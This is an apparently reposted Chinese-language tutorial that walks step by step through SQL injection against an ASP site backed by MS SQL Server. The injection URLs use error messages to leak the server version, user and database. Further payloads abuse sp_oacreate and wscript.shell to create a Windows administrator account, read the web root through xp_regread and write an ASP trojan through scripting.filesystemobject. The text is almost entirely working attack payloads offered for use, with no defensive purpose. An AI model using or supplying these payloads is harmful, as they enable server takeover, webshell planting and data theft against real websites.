以下(使用一知名網站作為測試點),相信大家對sql爆庫,爆表,爆字段都已掌握,在這里就不多說這方面了。
ms sql內置函數介紹:
@@version 獲得windows的版本號,ms sql的版本號,補丁。 user_name() 得到當前系統的連接用戶 db_name() 得到當前連接的數據庫 host_name() 得到當前主機的名稱
這些信息有助我們對系統進行簡單的了解
好,下面我們就開始吧!
語句:
http://www.xxx.com/list.asp?classid=1'
返回信息:
microsoft ole db provider for sql server 錯誤 '80040e14' 字符串 ' order by id desc' 之前有未閉合的引號。 /list.asp,行290
從這里未閉合的引號(“’”),我們可以確定存在sql injection。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)
返回:
microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.0 (build 2195: service pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290
相關的信息出來了,ms server advanced server 2000+sp4, sql 2000+sp3,從ms sql server 后面的8.00.760可看出是sp3補丁。看了服務器的信息,接下應該了解數據庫的權限了:
語句:
http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’
返回: 正常返回的信息
確定是權限是dbo,從表面dbo權限的連接用戶經常是涉及sysadmin服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個dbo用戶。
返回原理根1=1,1=2相似..這里只是權限測試,我們也把它爆出來看看:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())
返回:
microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290
說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。
語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:microsoft ole db provider for sql server 錯誤 '80040e07' 將 nvarchar 值 'gameimgsys' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.asp,行290
這樣就可以爆出當前的數據庫。得到這么高權限的數據庫連接成員,我們當然想直接得到webshell,或是直接拿到nt admin。nt admin取決于當前服務器的配置,如果配置不合理的服務器,我們要直接拿nt admin,拿nt admin就要用到:
mssql內置存儲過程:
sp_oacreate (通過它,危害很得更大,但是需要有sysadmins權限才可能使用) sp_oageterrorinfo sp_oagetproperty sp_oamethod sp_oasetproperty sp_setpropertysp_oastop
由于ms sql一次可以執行多語句,使得我們有機會使用更多的語句。
語句:
http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt/system32/cmd.exe /c net user cntest chinatest /add'
正常返回。(提示:如果主機上shell存在的話那將在服務器上創建一個cntest的用戶)
創建用戶了,語句后再加個net localgroup administrators cntest /add加到管理組中。 如果對方的機子開著3389端口,或ipc的話,那接下來的事,就不用我多說了。
遇到專業型主機,只開一個80端口,那應該怎么辦呢?當然,我們還是可能拿到webshell,再慢慢滲透的。
由于權限高,我們可能先建表,寫入asp木馬的數據再通過makewebtask,得到websehll.手工寫入的程序太過于繁鎖,上傳webshell最大的問題還是網頁目錄,現在網上已經有現成的工具通過backup,和maskwebtask的工具得到webshell了。以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):
利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):
語句:
http://www.xxx.com/list.asp?classid=1;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system/currentcontrolset/services/w3svc/parameters/virtual roots/', @value_name='/', [email protected] output insert into paths(path) values(@test)
iis的默認路徑的在注冊表中hkey_local_machine/ system/currentcontrolset/services/w3svc/parameters/virtual roots/
利用爆字段將數據庫的值讀出來:
語句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)
返回:
microsoft ole db provider for odbc drivers 錯誤 '80040e07' [microsoft][odbc sql server driver][sql server]將 varchar 值 'e:/www,,201' 轉換為數據類型為 int 的列時發生語法錯誤。
這說明網頁目錄在e:/www,接下來也可以利用fso直接寫入asp木馬(提示必須擁用sysadmin權限才可使用fso和fso開入的前提下) :
語句:
http://www.xxx.com/list.asp?class=1;
declare%[email protected]%20int,%[email protected]%20int,%[email protected]%20int,%[email protected]%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%[email protected]%20out%20exec%20sp_oamethod%[email protected],%20'createtextfile',%[email protected]%20out,%20'e:/www/test.asp',
1%20exec%[email protected]%20=%20sp_oamethod%[email protected],%20'writeline',%20null,%20'on error resume next' 
在e:/www下創建一個test.asp并寫入on error resume next語句:
http://www.xxx.com/list.asp?classid=1;
declare%[email protected]%20int,%[email protected]%20int,%[email protected]%20int,%[email protected]%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%[email protected]%20out%20exec%20sp_oamethod%[email protected],%20'opentextfile',
%[email protected]%20out,%20'e:/www/test.asp',8%20exec%[email protected]%20=%20sp_oamethod%[email protected],%20'writeline',%20null,%20'asp horse ' 
在e:/www/test.asp增加一行記錄,記錄為asp horse, 整個完整木馬可能這樣寫入。(%百分號要用%25替代寫入)。如果得不到網頁目錄,怎么辦呢?前提你要猜到網站是否使用默認web,或者使用域名作為web。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 web 站點" -v "e","e:/"’
在默認的web站點下創建一個虛擬目錄e,指向e:盤下。
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,’ cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/root/e +browse’
給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳webshell利用ms sql為我們的工作告了一段落了,接下來工作應該由你來了。
,歡迎訪問網頁設計愛好者web開發。新聞熱點
疑難解答